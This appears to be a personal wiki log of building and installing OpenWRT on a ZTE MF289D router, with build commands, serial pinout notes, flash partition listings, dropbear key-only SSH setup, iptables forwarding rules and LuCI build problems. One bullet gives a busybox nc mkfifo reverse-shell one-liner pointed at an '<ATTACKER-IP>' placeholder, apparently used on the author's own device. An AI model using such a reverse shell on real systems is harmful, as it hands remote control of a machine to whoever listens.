PPC Wiki

installing OpenWRT on my router (zte MF289D)

3 min read

log

  • docker run —cpus “6” -it -v .:/out -v /nix:/nix openwrt/sdk

  • git clone https://github.com/Kroustalo/OpenWRT-ZTE-MF289D

  • i got the config.buildinfo from here: https://downloads.openwrt.org/releases/25.12.5/targets/ipq40xx/generic/

    • which was then copied to OpenWRT-ZTE-MF289D/.config

  • make menuconfig

    • select only the MF289D router.

  • make -j 12

  • pins from the bottom (where the router stands) are GND, RX (plug into TX), TX

  • ESC is \x1b

  • reverse shell: (without -e which this busybox nc aparently does not support..) rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | busybox nc <ATTACKER-IP> <PORT> > /tmp/f

  • flash partition list script

for dev in /sys/class/mtd/mtd*[!ro]; do [ -d "$dev" ] && echo "$(basename $dev): $(cat $dev/name) -> $(basename $(readlink -f $dev/device))" done

output:

mtd0: 0:SBL1 -> spi0.0
mtd1: 0:MIBIB -> spi0.0
mtd2: 0:QSEE -> spi0.0
mtd3: 0:CDT -> spi0.0
mtd4: 0:DDRPARAMS -> spi0.0
mtd5: 0:APPSBLENV -> spi0.0
mtd6: 0:APPSBL -> spi0.0
mtd7: 0:reserved1 -> spi0.0
mtd8: fota-flag -> spi0.1
mtd9: ART -> spi0.1
mtd10: mac -> spi0.1
mtd11: reserved2 -> spi0.1
mtd12: cfg-param -> spi0.1
mtd13: log -> spi0.1
mtd14: oops -> spi0.1
mtd15: reserved3 -> spi0.1
mtd16: web -> spi0.1
mtd17: rootfs -> spi0.1
mtd18: data -> spi0.1
mtd19: fota -> spi0.1
  • cat /proc/mtd
dev:    size   erasesize  name
mtd0: 00040000 00010000 "0:SBL1"
mtd1: 00020000 00010000 "0:MIBIB"
mtd2: 00060000 00010000 "0:QSEE"
mtd3: 00010000 00010000 "0:CDT"
mtd4: 00010000 00010000 "0:DDRPARAMS"
mtd5: 00010000 00010000 "0:APPSBLENV"
mtd6: 000c0000 00010000 "0:APPSBL"
mtd7: 00050000 00010000 "0:reserved1"
mtd8: 000a0000 00020000 "fota-flag"
mtd9: 00080000 00020000 "ART"
mtd10: 00080000 00020000 "mac"
mtd11: 000c0000 00020000 "reserved2"
mtd12: 00400000 00020000 "cfg-param"
mtd13: 00400000 00020000 "log"
mtd14: 000a0000 00020000 "oops"
mtd15: 00500000 00020000 "reserved3"
mtd16: 00800000 00020000 "web"
mtd17: 01d00000 00020000 "rootfs"
mtd18: 01900000 00020000 "data"
mtd19: 03200000 00020000 "fota"

  • uci set dropbear.@dropbear[0].PasswordAuth=“0”

  • uci set dropbear.@dropbear[0].RootPasswordAuth=“0”

  • uci commit dropbear

  • /etc/init.d/dropbear restart

  • vim /etc/dropbear/authorized_keys # and add pub keys

  • chmod 0600 /etc/dropbear/authorized_keys

  • needed those two commands to make the Share with Other computer (networkmanager) stuff work

    • sudo iptables -I FORWARD -i enp0s20f0u4u3u4 -j ACCEPT
    • sudo iptables -I FORWARD -o enp0s20f0u4u3u4 -m conntrack —ctstate RELATED,ESTABLISHED -j ACCEPT

getting luci

  • ./scripts/feeds update -a

  • ./scripts/feeds install -a -p luci

  • make -j 12

  • luci commit I’m using: b33ede60468e71ca5033aae09696eb0ac2531619

    • just git cloned it into ./feeds/luci (not working, restarting a full build on a second clone of openWRT)

  • problems with package colisions

    • ./scripts/feeds added the newest luci feed there is. which can’t deal with my old ucode i have from the Openwrt fork
    • the luci from downloads.openwrt.org also has collisions.

sim card/LTE

  • qmicli -d /dev/cdc-wdm0 —uim-get-card-status

Graph View